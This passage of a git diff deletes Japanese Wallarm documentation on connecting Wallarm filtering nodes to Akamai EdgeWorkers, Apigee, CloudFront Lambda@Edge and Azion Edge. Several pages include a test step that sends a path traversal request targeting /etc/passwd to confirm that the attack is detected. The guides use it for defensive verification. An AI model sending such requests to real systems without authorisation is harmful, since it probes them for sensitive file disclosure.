EdgeWorkersでWallarmコードバンドルを取得して実行するには、次の手順に従ってください: - -1. [support@wallarm.com](mailto:support@wallarm.com)に連絡し、Wallarmコードバンドルを入手します。 -1. Akamai Control Center → **EdgeWorkers** → **Create EdgeWorker ID**に進み、コードバンドル`wallarm-main`をインポートします。 - - これは、リクエストをWallarmノード経由でルーティングするメインのEdgeWorkerです。 -1. 別のEdgeWorker IDを作成し、`wallarm-sp`バンドルをインポートします。 - - これはなりすまし防止のために推奨されるEdgeWorkerです。プロパティは不要です。 - -### 3. Wallarmノード用プロパティを作成 - -1. Akamai Property Managerで新しいプロパティを作成します: - - * **Property name / hostname**: 専用のノードホスト名（例: `node.customer.com`）。このホスト名はお客様が管理するDNSゾーンに属している必要があります。 - * **Property type**: `Dynamic Site Accelerator` - * **Origin type**: `Web server` - * **Origin Hostname**: デプロイ済みのWallarmノードの実際の[アドレス](#1-deploy-a-wallarm-node) -1. プロパティのTLSを構成します: - - * **Akamai Managed Certificate**を選択する（Akamaiが`node.customer.com`の証明書を発行・管理します）、または - * 必要に応じて独自の証明書をアップロードします。 -1. プロパティを保存します。AkamaiがEdge Hostnameを生成します。例: - - ``` - node.customer.com.edgesuite.net - ``` -1. DNSゾーンで、ノードホスト名をEdge Hostnameに向けるCNAMEレコードを作成します。例: - - ``` - node.customer.com → node.customer.com.edgesuite.net - ``` -1. [stagingでプロパティを有効化](https://techdocs.akamai.com/property-mgr/docs/activate-stage)して動作を確認し、続けて[productionで有効化](https://techdocs.akamai.com/property-mgr/docs/activate-prod)します。 - -![!AkamaiにおけるWallarmノード用プロパティ](../../images/waf-installation/gateways/akamai/wallarm-property.png) - -### 4. オリジンプロパティで変数を設定 - -既存のオリジンプロパティを開き、→ **Edit New Version**で次の変数を設定します: - -| 変数 | 説明 | 必須? | -| -------- | ----------- | --------- | -| `PMUSER_WALLARM_NODE` | `wallarm-main` EdgeWorker用に作成したプロパティ名 | はい | -| `PMUSER_WALLARM_HEADER_SECRET` | なりすまし防止のための任意のシークレット値（例: `aj8shd82hjd72hs9`）。`wallarm-main` EdgeWorkerが同じプロパティへリクエストをフォワードする際、ヘッダー`x-wlrm-checked`にこの値を設定します。`wallarm-sp` EdgeWorkerがヘッダーを検証し、一致しない場合はリクエストをブロックします。これにより無限ループを防ぎ、クライアントが偽のヘッダーを追加してWallarmのチェックを回避することを防止します。
        秘密として保持し、他の用途で再利用しないでください。 | はい | -| `PMUSER_WALLARM_ASYNC` | トラフィックの処理モードを決定します。`false`はWallarmノードで直接処理します（同期）。`true`はトラフィックの[コピー](../oob/overview.md)を解析し、元のフローに影響を与えません（非同期）。デフォルト: `false`。 | いいえ | -| `PMUSER_WALLARM_INSPECT_REQ_BODY` | リクエストボディをWallarmノードへ送って解析するかどうかを制御します。デフォルト: `true`。 | いいえ | -| `PMUSER_WALLARM_INSPECT_RSP_BODY` | レスポンスボディをWallarmノードへ送って解析するかどうかを制御します。これによりレスポンススキーマのディスカバリーや、攻撃・脆弱性検出が強化されます。デフォルト: `true`。 | いいえ | - -![!Akamaiのオリジンプロパティ向けWallarm変数](../../images/waf-installation/gateways/akamai/origin-property-variables.png) - -**Set Variable** behaviorを使用すると、コネクタモードやボディ検査の設定をルート単位やファイルタイプ単位で詳細に調整できます。 - -### 5. Wallarm EdgeWorkerルールを追加 - -オリジンプロパティで空の新規ルールを作成します: - -* Criteria: - - ``` - If - Request Header - x-wlrm-checked - does not exist - ``` -* Behavior: EdgeWorkers → the `wallarm-main` EdgeWorker - -より複雑な構成では、この条件にパスのチェックを組み合わせ（例: `/api/*`のパスにのみ適用）、APIトラフィックだけをWallarmで処理するようにできます。 - -### 6. なりすまし防止ルールを追加 - -オリジンプロパティでもう1つ空の新規ルールを作成します: - -* Criteria: - - ``` - If - Request Header - x-wlrm-checked - exists - ``` -* Behavior: EdgeWorkers → the `wallarm-sp` EdgeWorker - -このルールは、ヘッダー`x-wlrm-checked`が`PMUSER_WALLARM_HEADER_SECRET`の値と一致することを保証します。一致しない値はブロックされ、クライアントがWallarmのチェックを回避することを防ぎます。 - -より複雑な構成では、この条件にパスのチェックを組み合わせ（例: `/api/*`のパスにのみ適用）、APIトラフィックだけをWallarmで処理するようにできます。 - -### 7. プロパティを保存して有効化 - -1. 新しいオリジンプロパティのバージョンを保存します。 -1. [staging環境で有効化](https://techdocs.akamai.com/property-mgr/docs/activate-stage)します。 -1. 検証後、[productionで有効化](https://techdocs.akamai.com/property-mgr/docs/activate-prod)します。 - -## テスト - -デプロイしたEdgeWorkersの動作をテストするには、次の手順に従ってください: - -1. Akamai CDNにテスト用の[Path Traversal][ptrav-attack-docs]攻撃を送信します: - - ``` - curl http:///etc/passwd - ``` -1. Wallarm Console → **Attacks**セクション（[US Cloud](https://us1.my.wallarm.com/attacks)または[EU Cloud](https://my.wallarm.com/attacks)）を開き、攻撃が一覧に表示されていることを確認します。 - - ![インターフェイスのAttacks][attacks-in-ui-image] - - Wallarmノードのモードがブロッキングに設定されている場合は、リクエストもブロックされます。 - -## Wallarm EdgeWorkersのアップグレード - -デプロイ済みのWallarm EdgeWorkersを[新しいバージョン](code-bundle-inventory.md#akamai)へアップグレードするには: - -1. `wallarm-main`用に[作成](#2-obtain-the-wallarm-code-bundle-and-create-edgeworkers)したEdgeWorkerへ移動します。 -1. **Create Version**を押し、新しい`wallarm-main`コードバンドルをアップロードします。 -1. [staging環境で有効化](https://techdocs.akamai.com/property-mgr/docs/activate-stage)します。 -1. 検証後、[productionで有効化](https://techdocs.akamai.com/property-mgr/docs/activate-prod)します。 -1. `wallarm-sp`コードバンドルのバージョンが変わった場合は、同じ手順を繰り返します。 - -EdgeWorkerのアップグレードでは、特にメジャーバージョン更新時に、Wallarmノードのアップグレードが必要となる場合があります。セルフホスト型ノードのリリースノートは[Native Nodeの変更履歴](../../updating-migrating/native-node/node-artifact-versions.md)を参照してください。非推奨の回避と将来のアップグレード簡素化のため、ノードの定期的な更新を推奨します。 \ No newline at end of file diff --git a/docs/latest-ja/installation/connectors/apigee.md b/docs/latest-ja/installation/connectors/apigee.md deleted file mode 100644 index 846fb36cd8..0000000000 --- a/docs/latest-ja/installation/connectors/apigee.md +++ /dev/null @@ -1,108 +0,0 @@ -[ptrav-attack-docs]: ../../attacks-vulns-list.md#path-traversal -[attacks-in-ui-image]: ../../images/admin-guides/test-attacks-quickstart.png - -# Apigee EdgeとWallarm Proxy Bundle - -[Apigee Edge](https://docs.apigee.com/api-platform/get-started/what-apigee-edge)はAPIゲートウェイを備えたAPI管理プラットフォームで、クライアントアプリケーションがAPIにアクセスするためのエントリポイントとして機能します。ApigeeのAPIセキュリティを強化するために、本記事で説明するWallarmのAPIプロキシバンドルを統合できます。 - -本ソリューションは、外部にWallarm nodeをデプロイし、対象プラットフォームにカスタムコードやポリシーを組み込むものです。これにより、トラフィックを外部のWallarm nodeに転送して解析し、潜在的な脅威から保護できます。これらはWallarmのコネクタと呼ばれ、Azion Edge、Akamai Edge、MuleSoft、Apigee、AWS Lambdaと外部のWallarm nodeを結ぶ重要なリンクとして機能します。このアプローチにより、シームレスな統合、安全なトラフィック解析、リスク軽減、プラットフォーム全体のセキュリティが実現します。 - -## ユースケース - -本ソリューションは次のユースケースに推奨されます。 - -* 単一のAPIプロキシでApigeeプラットフォームにデプロイされたAPIを保護する場合。 -* 攻撃の網羅的な観測・レポートと、悪意のあるリクエストの即時ブロックを提供するセキュリティソリューションが必要な場合。 - -## 制限事項 - -本ソリューションは受信リクエストのみに対して機能するため、いくつかの制限があります。 - -* [パッシブ検出](../../about-wallarm/detecting-vulnerabilities.md#passive-detection)手法による脆弱性の発見は適切に機能しません。本ソリューションは、テスト対象の脆弱性に典型的な悪意のあるリクエストに対するサーバーレスポンスに基づいて、APIが脆弱かどうかを判断します。 -* [Wallarm API Discovery](../../api-discovery/overview.md)はレスポンス解析に依存するため、トラフィックに基づくAPIインベントリの探索はできません。 -* レスポンスコードの解析が必要なため、[強制ブラウジングからの保護](../../admin-en/configuration-guides/protecting-against-bruteforce.md)は利用できません。 - -## 要件 - -デプロイを進める前に、以下の要件を満たしていることを確認してください。 - -* Apigeeプラットフォームについての理解があること。 -* APIがApigee上で稼働していること。 - -## デプロイ - -Apigeeプラットフォーム上のAPIを保護するには、次の手順に従ってください。 - -1. GCPインスタンス上にWallarm nodeをデプロイします。 -1. Wallarm proxy bundleを入手し、Apigeeにアップロードします。 - -### 1. Wallarm nodeをデプロイする - -ApigeeでWallarm proxyを使用する場合、トラフィックフローは[インライン](../inline/overview.md)で動作します。そのため、Google Cloud Platformでのインラインデプロイに対応した、サポート済みのWallarm nodeのデプロイアーティファクトから1つ選択してください。 - -* [GCP Machine Image](../packages/gcp-machine-image.md) -* [Google Compute Engine (GCE)](../cloud-platforms/gcp/docker-container.md) - -以下のテンプレートを使用してデプロイしたWallarm nodeを構成してください。 - -``` -server { - listen 80 default_server; - listen [::]:80 default_server; - - server_name _; - - access_log off; - wallarm_mode off; - - location / { - proxy_set_header Host $http_x_forwarded_host; - proxy_pass http://unix:/tmp/wallarm-nginx.sock; - } -} - -server { - listen unix:/tmp/wallarm-nginx.sock; - - server_name _; - - wallarm_mode block; - real_ip_header X-LAMBDA-REAL-IP; - set_real_ip_from unix:; - - location / { - echo_read_request_body; - } -} -``` - -デプロイが完了したら、受信リクエストの転送設定に必要となるため、ノードインスタンスのIPアドレスを控えておいてください。なお、IPは内部IPで問題ありません。外部IPである必要はありません。 - -### 2. Wallarm proxy bundleを入手してApigeeにアップロードする - -本統合では、正当なトラフィックをAPIにルーティングするAPIプロキシをApigee上に作成します。そのために、Wallarmはカスタム構成バンドルを提供します。Apigee上のAPIプロキシでWallarmバンドルを入手して[使用](https://docs.apigee.com/api-platform/fundamentals/build-simple-api-proxy)するには、次の手順に従ってください。 - -1. Apigee向けWallarm proxy bundleを入手するため、[support@wallarm.com](mailto:support@wallarm.com)に連絡します。 -1. Apigee Edge UIで、**Develop** → **API Proxies** → **+Proxy** → **Upload proxy bundle**に移動します。 -1. Wallarmサポートチームから提供されたバンドルをアップロードします。 -1. インポートした構成ファイルを開き、`prewall.js`および`postwall.js`で[Wallarm nodeインスタンスのIPアドレス](#1-deploy-a-wallarm-node)を指定します。 -1. 構成を保存してデプロイします。 - -## テスト - -デプロイしたポリシーの機能をテストするには、次の手順に従ってください。 - -1. テスト用の[パストラバーサル][ptrav-attack-docs]攻撃を含むリクエストをAPIに送信します: - - ``` - curl http:///etc/passwd - ``` -1. Wallarm Consoleで[US Cloud](https://us1.my.wallarm.com/attacks)または[EU Cloud](https://my.wallarm.com/attacks)の**Attacks**セクションを開き、攻撃が一覧に表示されていることを確認します。 - - ![インターフェイスのAttacks][attacks-in-ui-image] - - Wallarm nodeのモードがblockingに設定されている場合、このリクエストもブロックされます。 - -## サポートが必要ですか？ - -Apigeeと連携した本記事のWallarmデプロイについて問題が発生した場合や支援が必要な場合は、[Wallarm support](mailto:support@wallarm.com)チームにご連絡ください。導入プロセス中に直面する可能性のある問題の解決や各種ガイダンスを提供します。 \ No newline at end of file diff --git a/docs/latest-ja/installation/connectors/aws-api-gateway.md b/docs/latest-ja/installation/connectors/aws-api-gateway.md deleted file mode 100644 index 2bee2cf60c..0000000000 --- a/docs/latest-ja/installation/connectors/aws-api-gateway.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest/installation/connectors/aws-api-gateway.md" \ No newline at end of file diff --git a/docs/latest-ja/installation/connectors/aws-lambda-for-wizard.md b/docs/latest-ja/installation/connectors/aws-lambda-for-wizard.md deleted file mode 100644 index 2ab9255026..0000000000 --- a/docs/latest-ja/installation/connectors/aws-lambda-for-wizard.md +++ /dev/null @@ -1,70 +0,0 @@ -# ウィザード用CloudFront - -Wallarm Edge nodeをAmazon CloudFrontに接続すると、[同期](../inline/overview.md)または[非同期](../oob/overview.md)モードでリクエストをブロックすることなくトラフィックを検査できます。 - -以下の手順に従って接続を設定してください。 - -1. ご利用のプラットフォーム向けに提供されたコードバンドルをダウンロードしてください。 -1. AWS Console → **Services** → **Lambda** → **Functions**に進んでください。 -1. `us-east-1` (N. Virginia)リージョンを選択してください。これは[Lambda@Edge関数に必要です](https://docs.aws.amazon.com/AmazonCloudFront/latest/DeveloperGuide/lambda-edge-how-it-works-tutorial.html#lambda-edge-how-it-works-tutorial-create-function)。 -1. 次の設定で**Create function**してください： - - * Runtime: Python 3.x. - * Execution role: **Create a new role from AWS policy templates** → **Basic Lambda@Edge permissions (for CloudFront trigger)**. - * その他の設定はデフォルトのままで問題ありません。 -1. 関数が作成されたら、**Code**タブでWallarmのリクエスト処理コードを貼り付けてください。 -1. コード内の次のパラメータを更新してください： - - * `wlrm_node_addr`: WallarmノードのURLです。 - * `wlrm_inline`: [非同期（アウトオブバンド）](../oob/overview.md)モードを使用する場合は`False`に設定してください。 - * 必要に応じて、他のパラメータも変更してください。 -1. **Actions** → **Deploy to Lambda@Edge**に進み、次の設定を指定してください： - - * 新しいCloudFrontトリガーを構成してください。 - * Distribution: 保護したいオリジンにトラフィックをルーティングするCDNです。 - * Cache behavior: Lambda関数に対するキャッシュ動作。通常は`*`です。 - * CloudFront event: - - * **Origin request**: CloudFront CDNがバックエンドにデータを要求する場合にのみ関数を実行します。CDNがキャッシュ済みレスポンスを返す場合、関数は実行されません。 - * **Viewer request**: CloudFront CDNへのすべてのリクエストに対して関数を実行します。 - * **Include body**をチェックしてください。 - * **Confirm deploy to Lambda@Edge**をチェックしてください。 -1. Wallarm提供のレスポンス関数についても同じ手順を繰り返し、トリガーとしてレスポンスを選択してください。 - - レスポンストリガーがリクエストトリガーに一致することを確認してください（origin requestにはorigin response、viewer requestにはviewer response）。 - -[詳細](aws-lambda.md) - - \ No newline at end of file diff --git a/docs/latest-ja/installation/connectors/aws-lambda.md b/docs/latest-ja/installation/connectors/aws-lambda.md deleted file mode 100644 index 989601d5c0..0000000000 --- a/docs/latest-ja/installation/connectors/aws-lambda.md +++ /dev/null @@ -1,204 +0,0 @@ -[ptrav-attack-docs]: ../../attacks-vulns-list.md#path-traversal -[attacks-in-ui-image]: ../../images/admin-guides/test-attacks-quickstart.png -[filtration-mode-docs]: ../../admin-en/configure-wallarm-mode.md -[se-connector-setup-img]: ../../images/waf-installation/se-connector-setup.png -[ip-list-docs]: ../../user-guides/ip-lists/overview.md -[api-token]: ../../user-guides/settings/api-tokens.md -[api-spec-enforcement-docs]: ../../api-specification-enforcement/overview.md -[helm-chart-native-node]: ../native-node/helm-chart.md -[custom-blocking-page]: ../../admin-en/configuration-guides/configure-block-page-and-code.md -[rate-limiting]: ../../user-guides/rules/rate-limiting.md -[multi-tenancy]: ../multi-tenant/overview.md - -# Amazon CloudFront向けWallarmコネクタ - -[CloudFront](https://aws.amazon.com/cloudfront/)はAmazon Web Servicesが運用するコンテンツ配信ネットワークです。Wallarmはコネクタとして動作し、CloudFront経由で配信されるトラフィックを保護および監視できます。 - -CloudFront向けコネクタとしてWallarmを使用するには、Wallarmノードを外部にデプロイし、Wallarm提供のLambda@Edge関数を実行して、分析のためにトラフィックをWallarmノードへルーティングする必要があります。 - -CloudFrontコネクタは、[インライン](../inline/overview.md)および[アウトオブバンド](../oob/overview.md)の両方のトラフィック解析をサポートします: - -=== "インラインのトラフィックフロー" - - Wallarmが悪意のあるアクティビティをブロックするように設定されている場合: - - ![WallarmとCloudFront - インライン構成](../../images/waf-installation/gateways/cloudfront/traffic-flow-inline.png) -=== "アウトオブバンドのトラフィックフロー" - ![WallarmとCloudFront - アウトオブバンド構成](../../images/waf-installation/gateways/cloudfront/traffic-flow-oob.png) - -!!! info "セキュリティに関する注意" - 提示のソリューションは最小権限の原則に従って設計されています。関数はCloudFrontおよびWallarmノードで動作するのに必要最小限の権限のみをリクエストし、デフォルトで安全なデプロイを実現します。 - -## ユースケース - -サポートされている[Wallarmのデプロイオプション](../supported-deployment-options.md)の中でも、Amazon CloudFront経由でトラフィックを配信する場合に本ソリューションの利用を推奨します。 - -## 制限事項 - -* Lambda@Edge関数レベルの制約: - - * HTTPステータスコード4xxのviewer responseではLambda@Edge関数はトリガーされません。 - * Lambda@Edgeはorigin responseおよびviewer responseイベントのいずれでもレスポンスボディへのアクセスを許可しないため、レスポンス内容に基づく処理は実行できません。 - * ボディサイズはviewer requestで40KB、origin requestで1MBに制限されます。 - * Wallarmノードからの最大応答時間はviewer requestで5秒、origin requestで30秒です。 - * Lambda@Edgeはプライベートネットワーク(VPC)をサポートしません。 - * 同時リクエストのデフォルト上限はリージョンあたり1,000ですが、数万まで引き上げることができます。 - * WallarmのLambda@Edge関数はoriginレベルで動作するため、CDNキャッシュで処理されるリクエストは監視しません。そのため、そのようなリクエストに含まれる潜在的な攻撃は検出されません。 -* 機能上の制約: - * [Helmチャート][helm-chart-native-node]を使用して`LoadBalancer`タイプでWallarmサービスをデプロイする場合、ノードインスタンスのドメインには信頼されたSSL/TLS証明書が必要です。自己署名証明書はまだサポートしていません。 - * [カスタムブロックページとブロックコード][custom-blocking-page]の設定はまだサポートしていません。 - * [パッシブ検知](../../about-wallarm/detecting-vulnerabilities.md#passive-detection)に基づく脆弱性検知および[API DiscoveryにおけるAPIのレスポンス構造](../../api-discovery/exploring.md#endpoint-details)は、Lambda@Edgeのレスポンストリガー制限により制約されます。Wallarmの関数はレスポンスボディを受け取って依存することができないため、これらの機能は利用できません。 - * Wallarmルールによる[レート制限](../../user-guides/rules/rate-limiting.md)はサポートしていません。 - * [マルチテナンシー](../multi-tenant/overview.md)はまだサポートしていません。 - -## 前提条件 - -デプロイを進める前に、以下の要件を満たしていることを確認してください。 - -* AWS CloudFrontおよびLambdaの技術に関する理解があること。 -* CloudFront CDNを経由するAPIまたはトラフィックがあること。 - -## デプロイ - - -### 1. Wallarmノードをデプロイする - -WallarmノードはWallarmプラットフォームの中核コンポーネントで、受信トラフィックを検査し、不正なアクティビティを検出し、脅威を緩和するように設定できます。 - -必要な管理レベルに応じて、Wallarmがホストするノードとして、またはお客様のインフラストラクチャ内に自己ホストでデプロイできます。 - -=== "エッジノード" - コネクタ用のWallarmホスト型ノードをデプロイするには、[手順](../security-edge/se-connector.md)に従ってください。 -=== "自己ホストノード" - 自己ホストノードのデプロイに使用するアーティファクトを選択し、各手順に従ってください: - - * ベアメタルまたはVM上のLinuxインフラ向けの[All-in-oneインストーラー](../native-node/all-in-one.md) - * コンテナ化デプロイを使用する環境向けの[Dockerイメージ](../native-node/docker-image.md) - * AWSインフラ向けの[AWS AMI](../native-node/aws-ami.md) - * Kubernetesを利用するインフラ向けの[Helmチャート](../native-node/helm-chart.md) - - -### 2. WallarmのLambda@Edge関数を取得してデプロイする - -CloudFront CDNをWallarmノードに接続するには、AWS上にWallarmのLambda@Edge関数をデプロイする必要があります。 - -Pythonベースの関数が2つあります: リクエストの転送と解析を行う関数と、レスポンスの転送と解析を行う関数です。 - -=== "手動でのダウンロードとデプロイ" - 1. Wallarm Console → **Security Edge** → **Connectors** → **Download code bundle**に進み、プラットフォーム用のコードバンドルをダウンロードします。 - - 自己ホストノードを使用している場合は、コードバンドルの入手についてsales@wallarm.comにお問い合わせください。 - 1. AWS Console → **Services** → **Lambda** → **Functions**に進みます。 - 1. Lambda@Edge関数に[必要なリージョン](https://docs.aws.amazon.com/AmazonCloudFront/latest/DeveloperGuide/lambda-edge-how-it-works-tutorial.html#lambda-edge-how-it-works-tutorial-create-function)である`us-east-1`(N. Virginia)を選択します。 - 1. **Create function**で次の設定を行います: - - * Runtime: Python 3.x。 - * Execution role: **Create a new role from AWS policy templates** → **Basic Lambda@Edge permissions (for CloudFront trigger)**。 - * その他の設定はデフォルトのままで問題ありません。 - 1. 関数が作成されたら、**Code**タブでWallarmのリクエスト処理コードを貼り付けます。 - 1. コード内の次のパラメータを更新します: - - * `wlrm_node_addr`: お使いのWallarmノードのURL。 - * `wlrm_inline`: [非同期(アウトオブバンド)](../oob/overview.md)モードを使用する場合は`False`に設定します。 - * 必要に応じて他のパラメータも調整します。 - 1. **Actions** → **Deploy to Lambda@Edge**に進み、次を指定します: - - * Configure new CloudFront trigger。 - * Distribution: 保護したいオリジンへトラフィックをルーティングするCDNを選択します。 - * Cache behavior: Lambda関数に適用するキャッシュビヘイビア。通常は`*`です。 - * CloudFront event: - - * **Origin request**: CloudFront CDNがバックエンドへデータを要求するときのみ関数を実行します。CDNがキャッシュレスポンスを返す場合は実行されません。 - * **Viewer request**: CloudFront CDNへのすべてのリクエストに対して関数を実行します。 - * **Include body**にチェックを入れます。 - * **Confirm deploy to Lambda@Edge**にチェックを入れます。 - - ![CloudFront関数のデプロイ](../../images/waf-installation/gateways/cloudfront/function-deploy.png) - 1. レスポンス用のWallarm提供関数についても同様の手順を繰り返し、トリガーとしてレスポンスを選択します。 - - レスポンストリガーがリクエストトリガーと一致していることを確認してください(Origin requestにはorigin response、Viewer requestにはviewer response)。 -=== "AWS SARから関数をデプロイする" - 両方の関数はAWS Serverless Application Repository(SAR)から直接デプロイできます。関数は、Lambda@Edge関数に[必要なリージョン](https://docs.aws.amazon.com/AmazonCloudFront/latest/DeveloperGuide/lambda-edge-how-it-works-tutorial.html#lambda-edge-how-it-works-tutorial-create-function)である`us-east-1`(N. Virginia)にデプロイされます。 - - 1. [Wallarm policies on AWS Serverless Application Repository](https://serverlessrepo.aws.amazon.com/applications/us-east-1/381492110259/wallarm-connector) → **Deploy**に進みます。 - 1. デプロイ設定はデフォルトのままとします。 - 1. デプロイ完了後、作成されたIAMロール → **Trust relationships**に進み、以下のポリシーで両方のロール(リクエスト用とレスポンス用)を更新します: - - ```json - { - "Version": "2012-10-17", - "Statement": [ - { - "Effect": "Allow", - "Principal": { - "Service": [ - "edgelambda.amazonaws.com", - "lambda.amazonaws.com" - ] - }, - "Action": "sts:AssumeRole" - } - ] - } - ``` - - 1. AWS Console → **Services** → **Lambda** → **Functions**に進みます。 - 1. `serverlessrepo-wallarm-connector-RequestHandler-xxx`関数を開きます。 - 1. **Code**タブで次のパラメータを更新します: - - * `wlrm_node_addr`: お使いの[Wallarmノードインスタンス](#1-deploy-a-wallarm-node)のアドレス。 - * `wlrm_inline`: [アウトオブバンド](../oob/overview.md)モードを使用する場合は`False`に設定します。 - * 必要に応じて他のパラメータも調整します。 - 1. **Actions** → **Deploy to Lambda@Edge**に進み、次を指定します: - - * Configure new CloudFront trigger。 - * Distribution: 保護したいオリジンへトラフィックをルーティングするCDNを選択します。 - * Cache behavior: Lambda関数に適用するキャッシュビヘイビア。通常は`*`です。 - * CloudFront event: - - * **Origin request**: CloudFront CDNがバックエンドへデータを要求するときのみ関数を実行します。CDNがキャッシュレスポンスを返す場合は実行されません。 - * **Viewer request**: CloudFront CDNへのすべてのリクエストに対して関数を実行します。 - * **Include body**にチェックを入れます。 - * **Confirm deploy to Lambda@Edge**にチェックを入れます。 - - ![CloudFront関数のデプロイ](../../images/waf-installation/gateways/cloudfront/function-deploy.png) - 1. AWS Console → **Services** → **Lambda** → **Functions**に戻ります。 - 1. `serverlessrepo-wallarm-connector-ResponseHandler-xxx`関数を開きます。 - 1. レスポンスをトリガーに選択して、同様の手順を繰り返します。 - - レスポンストリガーがリクエストトリガーと一致していることを確認してください(Origin requestにはorigin response、Viewer requestにはviewer response)。 - -## テスト - -デプロイ済み関数の動作をテストするには、次の手順に従います: - -1. CloudFront CDNにテスト用の[Path Traversal][ptrav-attack-docs]攻撃リクエストを送信します: - - ``` - curl http:///etc/passwd - ``` -1. Wallarm Console → **Attacks**セクションを[US Cloud](https://us1.my.wallarm.com/attacks)または[EU Cloud](https://my.wallarm.com/attacks)で開き、攻撃が一覧に表示されていることを確認します。 - - ![インターフェースのAttacks][attacks-in-ui-image] - - Wallarmノードのモードが[blocking](../../admin-en/configure-wallarm-mode.md)に設定され、トラフィックがインラインで流れている場合は、リクエストもブロックされます。 - -## Lambda@Edge関数のアップグレード - -デプロイ済みのLambda@Edge関数を[新しいバージョン](code-bundle-inventory.md#cloudfront)にアップグレードするには: - -=== "手動でのダウンロードとデプロイ" - 1. Wallarm Console → **Security Edge** → **Connectors** → **Download code bundle**に進み、更新版のWallarm Lambda@Edge関数をダウンロードします。 - - 自己ホストノードを使用している場合は、更新されたコードバンドルの入手についてsales@wallarm.comにお問い合わせください。 - 1. デプロイ済みのLambda@Edge関数のコードを、更新版のバンドルに置き換えます。 - - `wlrm_node_addr`、`wlrm_inline`などの既存のパラメータ値は保持します。 - - 既存の関数トリガーは変更しません。 - 1. **Deploy**を実行して更新済み関数を反映します。 -=== "AWS SARから関数をデプロイする" - 1. 新しいバージョンの関数を用いて、[2番目の手順](#2-obtain-and-deploy-the-wallarm-lambdaedge-functions)で記載した手順を繰り返します。 - 1. 更新版の関数をディストリビューションに関連付けた後、競合を避けるためにCloudFrontのトリガーから以前のバージョンの関数を削除します。 - -関数のアップグレードでは、特にメジャーバージョンアップの場合、Wallarmノードのアップグレードが必要になることがあります。自己ホストノードのリリースノートおよびアップグレード手順については[Native Nodeの変更履歴](../../updating-migrating/native-node/node-artifact-versions.md)を、エッジコネクタのアップグレード手順については[Edge connectorのアップグレード手順](../security-edge/se-connector.md#upgrading-the-edge-node)を参照してください。非推奨を避け、将来のアップグレードを容易にするため、ノードの定期的な更新を推奨します。 \ No newline at end of file diff --git a/docs/latest-ja/installation/connectors/azion-edge.md b/docs/latest-ja/installation/connectors/azion-edge.md deleted file mode 100644 index b11a54d25a..0000000000 --- a/docs/latest-ja/installation/connectors/azion-edge.md +++ /dev/null @@ -1,136 +0,0 @@ -[ptrav-attack-docs]: ../../attacks-vulns-list.md#path-traversal -[attacks-in-ui-image]: ../../images/admin-guides/test-attacks-quickstart.png - -# Wallarm Functionsを利用したAzion Edge Firewall - -[Azion Edge Functions](https://www.azion.com/en/products/edge-functions/)はネットワークエッジでカスタムコードを実行でき、リクエスト処理のための独自ルールを実装できます。Wallarmのカスタムコードを組み込むことで、受信トラフィックをWallarmノードにプロキシして解析およびフィルタリングできます。この構成は[Azion Edge Firewall](https://www.azion.com/en/products/edge-firewall/)が既に提供するセキュリティ対策を強化します。本ガイドでは、Azion Edge上で稼働するサービスを保護するために、WallarmノードをAzion Edgeに統合する方法を説明します。 - -このソリューションでは、外部にWallarmノードをデプロイし、対象プラットフォームにカスタムコードまたはポリシーを組み込みます。これにより、トラフィックを外部のWallarmノードに誘導して解析し、潜在的な脅威から保護できるようになります。これらはWallarmのコネクタと呼ばれ、Azion Edge、Akamai Edge、MuleSoft、Apigee、AWS Lambdaなどのプラットフォームと外部のWallarmノードをつなぐ必須のリンクとして機能します。このアプローチにより、シームレスな統合、安全なトラフィック解析、リスク低減、プラットフォーム全体のセキュリティを実現します。 - -## ユースケース - -このソリューションは、以下のユースケースに推奨されます。 - -* Azion Edge上で稼働するAPIまたはトラフィックを保護したい場合。 -* 攻撃の包括的な観測・レポートおよび悪意のあるリクエストの即時ブロックを提供するセキュリティソリューションが必要な場合。 - -## 制限事項 - -このソリューションは受信リクエストのみを対象とするため、いくつかの制限があります。 - -* [パッシブ検出](../../about-wallarm/detecting-vulnerabilities.md#passive-detection)方式による脆弱性発見は正しく機能しません。この方式は、テスト対象の脆弱性に典型的な悪意のあるリクエストに対するサーバーの応答に基づいてAPIが脆弱かどうかを判定します。 -* 本ソリューションでは応答解析を利用できないため、[Wallarm API Discovery](../../api-discovery/overview.md)はトラフィックに基づいてAPIインベントリを探索できません。 -* 応答コードの解析を必要とするため、[強制ブラウジング対策](../../admin-en/configuration-guides/protecting-against-bruteforce.md)は利用できません。 - -## 要件 - -デプロイを進める前に、以下の要件を満たしていることを確認してください。 - -* Azion Edgeのテクノロジーに関する理解 -* Azion Edge上で稼働するAPIまたはトラフィック - -## デプロイ - -WallarmでAzion Edge上のAPIを保護するには、次の手順に従ってください。 - -1. 利用可能なデプロイオプションのいずれかを使用してWallarmノードをデプロイします。 -1. Edge Functions用のWallarmコードを入手し、Azionで実行します。 - -### 1. Wallarmノードをデプロイする - -Azion EdgeでWallarmを利用する場合、トラフィックフローは[インライン](../inline/overview.md)になります。 - -1. インラインデプロイ用に、[サポートされているWallarmノードのデプロイソリューションまたはアーティファクト](../supported-deployment-options.md#in-line)のいずれかを選択し、案内された手順に従ってデプロイします。 -1. 次のテンプレートを使用して、デプロイしたノードを構成します。 - - ``` - server { - listen 80; - - server_name _; - - access_log off; - wallarm_mode off; - - location / { - proxy_set_header Host $http_x_forwarded_host; - proxy_pass http://unix:/tmp/wallarm-nginx.sock; - } - } - - server { - listen 443 ssl; - - server_name yourdomain-for-wallarm-node.tld; - - ### ここにSSLの設定 - - access_log off; - wallarm_mode off; - - location / { - proxy_set_header Host $http_x_forwarded_host; - proxy_pass http://unix:/tmp/wallarm-nginx.sock; - } - } - - - server { - listen unix:/tmp/wallarm-nginx.sock; - - server_name _; - - wallarm_mode monitoring; - #wallarm_mode block; - - real_ip_header X-EDGEWRK-REAL-IP; - set_real_ip_from unix:; - - location / { - echo_read_request_body; - } - } - ``` - - 以下の構成に注意してください。 - - * HTTPSトラフィックのTLS/SSL証明書：WallarmノードでセキュアなHTTPSトラフィックを扱えるように、適切にTLS/SSL証明書を構成してください。具体的な設定内容は選択したデプロイ方法に依存します。たとえばNGINXを使用している場合は、[該当記事](https://docs.nginx.com/nginx/admin-guide/security-controls/terminating-ssl-http/)を参照してください。 - * [Wallarmの動作モード](../../admin-en/configure-wallarm-mode.md)の構成。 -1. デプロイが完了したら、後で受信リクエストの転送先アドレスを設定する際に必要になるため、ノードインスタンスのIPを控えておいてください。 - -### 2. Edge Functions用のWallarmコードを入手してAzionで実行する - -Azion Edge Functions向けのWallarmコードを入手して実行するには、次の手順に従ってください。 - -1. 